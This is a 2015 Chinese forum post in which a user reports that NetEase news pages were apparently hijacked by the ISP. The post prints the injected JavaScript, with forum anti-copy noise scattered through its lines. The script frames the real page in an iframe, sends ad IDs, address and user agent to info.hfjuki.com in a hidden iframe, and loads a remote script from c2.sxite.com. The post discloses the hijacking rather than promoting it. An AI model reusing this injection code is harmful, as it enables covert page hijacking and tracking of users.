|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 & A5 w# j' i f+ Q
1 E: x/ }* }. W5 v9 `上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
2 B# H5 o* Z3 a( |, C* }7 Y6 H& O1 `/ C
" ^/ U- \7 s8 z3 M6 Y& w接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}! d0 j1 {: Y. n: ^% F( v0 {
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 0 O! Y7 Z/ S$ f: P
! X3 c- D/ L7 R# Y6 S# n; D顺便查下ip138:
/ V, ~- q, ^: L: D# }; \( Q3 W5 E% d6 t; x
这是那段js里面的代码,好象是个半成品还没写入广告数据:
) B4 V0 R/ h$ X2 w, K' K3 N9 F- function locationSearch() {
' E& X! f8 U( ]8 Z9 a1 | - var s = getMainJs();% M: N# D8 ]& i
- if (s == null) {; f( a" U: j1 J G* f
- location.reload();+ c* \+ K6 b9 F2 ]
- }9 d: @& ?6 i- O1 |2 b) b6 P( `. k
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);4 X5 K( A: V- c& q
- }4 _( M& m6 B, f' g* B/ w: ?+ A" ^
5 d3 j, }5 p% @- {+ U- function getParameter(name, paraStr) {; N, Q8 O# o; r- g9 `: D
- var result = "";6 r5 Z* @) `, t1 v7 q
- var str = "&" + paraStr.split("?")[1];
7 s) \! d3 q1 B r - var paraName = "&" + name + "=";" b2 [9 E1 I6 ]/ T! l
- if (str.indexOf(paraName) != -1) {. l5 i$ r) l9 V' e! s; I9 t
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
2 p$ I% N& o* c9 Q) M: K - var TmpStr = str.substring(str.indexOf(paraName), str.length);1 K. D Z' R, m1 ~. Y0 w4 q) |
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
% X/ G% ?, r8 z1 ` - 1, TmpStr.length).indexOf("&")
* N- F# p. ]6 E) e4 c - - TmpStr.indexOf(paraName) + 1);
/ l( z1 A$ h; p7 l - } else {' k# `2 l2 `/ u: A3 `( I3 g
- result = str.substring(str.indexOf(paraName), str.length);
9 w8 Z: g0 J3 G - }" w* `' h6 o# z+ t
- 0 q' } I) x; ~% J& R+ ]
- result = result.substring(result.indexOf("=") + 1, result.length);
9 t$ e9 ?2 Q m5 _1 h) K( H - } else {% w- E; Z' \! m$ p4 y
- result = "No such parameter";
% _0 C/ {) R2 U& o - }/ r6 ^6 M8 I' Z- u+ t- ^
- return (result.replace("&", ""));) \) V3 ~2 l) a. U/ t
- }3 I# T/ E% p6 L4 X
- ' m9 H6 Z* W/ @5 u4 O( V
- function getMainJs() {. M' `7 |% F8 p* w6 e
- var scripts = document.getElementsByTagName("script");& J# @! b6 c, o2 ~
- var s = null;
0 u+ g9 q' i* i% R5 n - for (var i = 0; i < scripts.length; i++) {0 C, v7 \% Q! g* I: A* M
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
$ a' G4 s5 k( ~3 a - s = scripts[i];
/ J, i% S/ z0 C - break;
/ @; Q6 P& F% }% b' o - }9 p% V. c7 K# b3 O; Z2 G% T
- }
& K/ M, w* l+ o- `. D - return s;
+ W0 o3 G2 x% R1 {2 G - }
% p9 t1 c3 ?( E+ | e$ e8 K( ` - ! l4 s7 y* U6 j F
- function appendParam(oStr, aStr) {3 N- w. X0 V, ]/ n x
- if (oStr.indexOf('?') > 0) {
$ ` P% T# o2 I' ^7 a2 E& D - oStr = oStr + "&" + aStr;% N5 n8 ~' D( u1 v+ N0 j) u! P
- } else {& _3 ~: [% @6 u1 v! M( N& W
- oStr = oStr + "?" + aStr;
9 X2 a2 O& C+ F( [ - }, t, h7 U8 z, Z5 l/ X
- return oStr;6 Y. l0 c9 O5 q8 l( M8 x
- }
; O7 y) p& a! i3 U
4 y0 ?) n1 `- C3 J! \: y" C- window.onerror = function() {& Q& a: F$ Y, n
- };
5 e$ L3 K% D- J - 5 G8 v8 @; m; G0 d1 N( a. R
- var g_titleTime = 0;6 C+ u1 [) Q: n: ]8 Z& l: D& p
- function setTcTitle() {& t) G; A- W2 {+ ~5 {
- if (undefined == document) {# N q/ b$ C, R7 s/ U
- g_titleTime++;
# r) v- T! S5 q" b1 i& h8 |4 I5 b - setTimeout("setTcTitle();", 1000);& @: w; x4 H, Q: ?
- return;
* }" t. c1 C1 g0 F4 @ - }
9 j; c; C( i5 T% ~ - * ^7 V8 O( n6 m
- var doc;* P% L* ]& z) T
- try { B( o m: w; |. D; _8 _2 J' g
- if (document.all) { c6 @9 X& S5 B' `! ^, M
- doc = document.frames["cn"].document;
! K9 [. c9 Q8 v. J$ G - } else {# U/ d! `- U3 J
- doc = document.getElementById("cn").contentDocument;$ x0 l! Y8 I- u4 s
- }
- P g: X* F, y - } catch (ex) {# i' E% B! D7 F3 ~$ l4 W) K/ ]: l
- }
1 e# @1 q5 \8 H; @: E
3 R' y8 } T2 H/ p- B% Y) h- if (g_titleTime < 5; x! A( r- u8 @3 n" j0 _& q2 v5 m
- && (undefined == doc || undefined == doc.title || "" == doc.title)) {4 M: [" e/ Z) D
- g_titleTime++;
* V5 f, r9 E4 f: F; [ - setTimeout("setTcTitle();", 1000);4 f+ w# d: ~: L# l$ s0 u. T: ?
- return;' g' @! c4 R' r; U" H8 ]
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {/ q/ j9 Q5 n6 H& g
- document.title = doc.title;( n5 }3 C4 H. i% J& P: I
- setTcAdvVisible();
7 r, a$ I. d6 k, J B- V0 _% K - }% h( Y! n0 T7 ]" \+ T. ]7 F
- }1 R' q2 T8 E6 t: u
8 s5 k t/ Z! A) a* }4 k- setTimeout("setTcTitle();", 1000);- s4 L- y6 A: F2 l
. C+ B5 u2 W. X8 q) e- var g_isHaveVisible = false;
5 e; a" ^; g. L& ?! p - function setTcAdvVisible() {
# t+ @+ r4 `, e/ r6 v - if (undefined != document && undefined != document.getElementById("addiv"); C5 x% Q0 ~0 H
- && !g_isHaveVisible) {6 y- B% \! T# e7 L+ C
- document.getElementById("addiv").style.visibility = 'visible';( C/ ?/ [5 M) M' ?
- document.getElementById("addiv").style.display = 'block';
4 b+ G+ @3 q. N( K5 l6 ]# r; g - g_isHaveVisible = true;( \3 X6 F% p+ l, `' I1 p
- }- I+ M6 { S7 c
- }
9 l6 ~5 G/ |: ~1 t# L
1 ]" [6 z$ @2 [- function UrlAnalyzer() {. n& o* u; h2 a v Y% O0 |
- this.divda = "";. ], L1 H$ x$ m9 M9 s3 s
- this.tctype = "";
9 o- U% y) M( ~+ V - this.radius = "";$ v4 p% |1 J! z: z6 n, b* _; P6 K |) p
- this.rlu = "";1 |$ o. |3 y8 ~3 ?( h
- }
5 ]5 A( M- b/ H- w4 X: ?) i4 q - T* O) q1 E; B6 d* z. V
- UrlAnalyzer.prototype.initParameters = function() {+ A; F0 q: T' `( M
- var paraStr = locationSearch(); [/ X# E. ?8 w. _1 O; n
- this.rlu = getParameter("lruedct", paraStr);
6 a7 [( Z: _/ r/ ~1 b T9 e( v - this.divda = getParameter("divda", paraStr);, y/ r# n( f/ q9 o P
- this.radius = getParameter("radius", paraStr);3 `3 p* v! m% G- X$ f$ b
- this.tctype = getParameter("tctype", paraStr);9 h# i9 o8 T2 T; P" p4 c
- this.address = getParameter("address", paraStr);0 s5 z7 n! P. J
- this.usagent = getParameter("usagent", paraStr);
, q( y! E2 W4 I4 R4 A! I, K - }
1 z# G& N+ V; _
3 P2 m* ]- m/ ^3 ~; P! T- UrlAnalyzer.prototype.getHtmlDoc = function() {4 C( X3 S$ G% g
- var doc;
- I O# N( L( k, V9 E# | - try {
/ ^. a. s0 t- T. k; M - if (document.all) {: P( {/ D y4 V. Q( F
- doc = document.frames["cn"].document;
; [7 B! q2 J/ M$ c1 a
3 d* @! P" K1 s$ e$ o5 o8 S3 V0 j- } else {
6 @ h5 c7 ~7 h" z- }/ s - doc = document.getElementById("cn").contentDocument;+ ]9 L1 o9 t0 p
- // doc = document.getElementById("cn").contentWindow.document;! T; ^ W# T+ D& Q" H
- }0 P h! A, _# q& t7 Q1 n4 _! @
- } catch (ex) {- T1 X+ @. L4 Z, [9 |% m% W7 ]
- }
2 ^7 O( @& H& E3 [8 E+ X1 i - return doc;' _- q8 L- d3 B. N
- }8 @+ s# @) v% g; h3 _+ e" \
- & v7 A+ J% N( g0 s
- UrlAnalyzer.prototype.setDomain = function() {
2 q1 W0 \) z5 q( ]9 d6 s+ U( W - if (undefined != document.title && "" == document.title)
. v; S1 A) z# u! i. Q+ G- z% y - {; E4 z4 K1 w, ^1 d7 T
- var index = document.domain.indexOf(".");
9 v) `* l6 t" F - if (undefined != index && -1 != index) {
+ t2 {9 t5 k% ]7 t3 A" t5 { - document.domain = document.domain.substring(index + 1,
' D$ c4 ]3 Z* ]) ]; L2 f- v - document.domain.length);2 Y- ], R% s3 ?9 i* M0 _
- }' @& |- Q6 J d' \# s
- ! X2 @& U) A8 F( v
- var doc = this.getHtmlDoc();
( P' X% |5 d- A& X - if (undefined != doc && undefined != doc.title && "" != doc.title) {
0 z" q$ m- [* p6 Y - document.title = doc.title;
' y! U8 A, B$ d9 [2 Q - setTcAdvVisible();
1 y3 e% m, I' [; A: y, y# R6 [7 P - }
% c. r* O! o' L; R - }/ M+ F& b# b7 m d
- }
2 q0 }2 c7 O" d( L1 p
5 A* m4 Z: t5 J" V- UrlAnalyzer.prototype.iframeCallback = function() {. G8 G$ E @( z/ a/ l
- var doc = this.getHtmlDoc();$ ~+ _2 }* s* G" j# A3 U
- if (undefined == doc || undefined == doc.title || "" == doc.title) {9 W* t( K1 R2 _! F; J3 P
- if (undefined != document.domain) {! ^1 [% N( K6 [) W! a4 l6 f
- 1 p* @$ e# ~# U `8 i
- var self = this;
& Q1 f: I" g; q - setTimeout(function(){self.setDomain.call(self, null)}, 1000);
2 N& k: W5 m) s2 K0 g - // var index = document.domain.indexOf(".");( |5 Y$ p/ g- c
- // if (undefined != index && -1 != index) {
: J: k. g/ w, v2 a - // document.domain = document.domain.substring(index + 1,/ p, y7 q- O7 X) i. V c% P7 P5 t
- // document.domain.length);
j& E% I. G; c8 k" @ - // }3 c+ f" S) D' y6 R! K% ]$ y1 Q4 b
- //$ U8 r* Y7 k$ W/ {. d* ?; n* g
- // var doc = this.getHtmlDoc();
3 K# L: i0 V M$ l0 X- t - // if (undefined != doc && undefined != doc.title && "" !=6 r0 ?3 J7 v3 x/ t7 z9 U
- // doc.title) {2 M; n/ s/ c" R% k
- // document.title = doc.title;4 R$ h+ d% o$ a* C
- // setTcAdvVisible();
& N, o) s# q% g- k v1 l! K' |5 M - // }, s0 Y: W0 h* v: d+ k
- }
+ W1 Y0 }6 ]" H - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {" S4 v5 {, x' B0 z& [
- document.title = doc.title;
2 R9 ?% @( U8 J& n+ _ - setTcAdvVisible();6 S& }: f: c% a1 k
- }
5 r" v7 ~3 ~" x - }
$ m; Y8 z% S P' `! w
g9 p0 j, r. x; O( |- UrlAnalyzer.prototype.executeHtmlContext = function() {+ g# R ?/ j2 }/ q$ U" J
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
' v3 g3 @, T, z - + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;5 ~5 G5 O7 a5 F) V" Z+ d6 Q$ B( @
% J% g) p% C0 y- var htmlStr = "<iframe src="" + staUrl
* Z8 c; n3 f9 D1 U - + "" style="display:none"></iframe>";
' s: r+ j2 O8 d+ P2 A1 K- a/ v - . O5 o1 c7 ?6 d# M
- var advUrl = htmlStr+ e' H4 p' m5 k( G3 g
- + "<script src="http://c2.sxite.com:8060/center?advId="2 {% {9 @: P2 {3 T, a
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";$ E7 f; ~) G9 I5 u3 u
- document.write(advUrl);
: h& g! U" S5 w2 S
% a3 m4 G& X+ Q5 ?6 v- var self = this;
! t7 \* F S% G) o: S - var iframe = document.getElementById("cn");3 j2 M8 d' p l: l/ X; }
- if (iframe.attachEvent) {7 F. K5 R0 b6 h2 Q% s3 X
- iframe.attachEvent("onload", function() {
, s$ [& e% B6 M# W0 o - self.iframeCallback.call(self, null);
+ O6 y7 M0 U3 E5 U+ ]+ M9 b3 ^/ I - });2 r2 K @0 i& |; p: \
- } else {
( P& i# O- R1 a @ - iframe.onload = function() {
, @$ j2 }8 e6 u7 b. M+ r - self.iframeCallback.call(self, null);
+ b5 P4 d" h( [7 r+ C$ M2 z! }/ q! j - }
5 y5 [4 C$ u7 y% w - }
" z2 @! ~7 ]8 y- V* G" r, J8 V - }# P; y5 N- K( |
- * \& f$ x5 z7 i0 l
- UrlAnalyzer.prototype.executeMain = function() {
3 C& w! B" A1 `; b - var mainFrame = document.getElementById("cn");3 }4 C. Q9 o; s Z: Y3 l% z6 [
- mainFrame.contentWindow.location.href = mainFrame.src;' M$ w a1 g& V& G4 r6 ~
- this.initParameters();
0 F5 }! R) g* b* Y8 e2 o - this.executeHtmlContext();9 A8 R. e' A2 ?; o* f& Z( u
- }! I9 T! R1 R" I# z
- $ _+ {! x+ m8 b$ L5 f, L2 P+ b
- var g_analyzer = new UrlAnalyzer();
% ?3 L- f4 y$ P' j4 \0 X - g_analyzer.executeMain();3 P9 k# o+ `8 \& p
复制代码 : _2 Y' h, l7 i7 B5 e# M
* W- q- Q1 C+ m- _2 K" D9 m E; m
- e& E! V0 H9 Z* x& Y& s. l4 [- b
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
×
|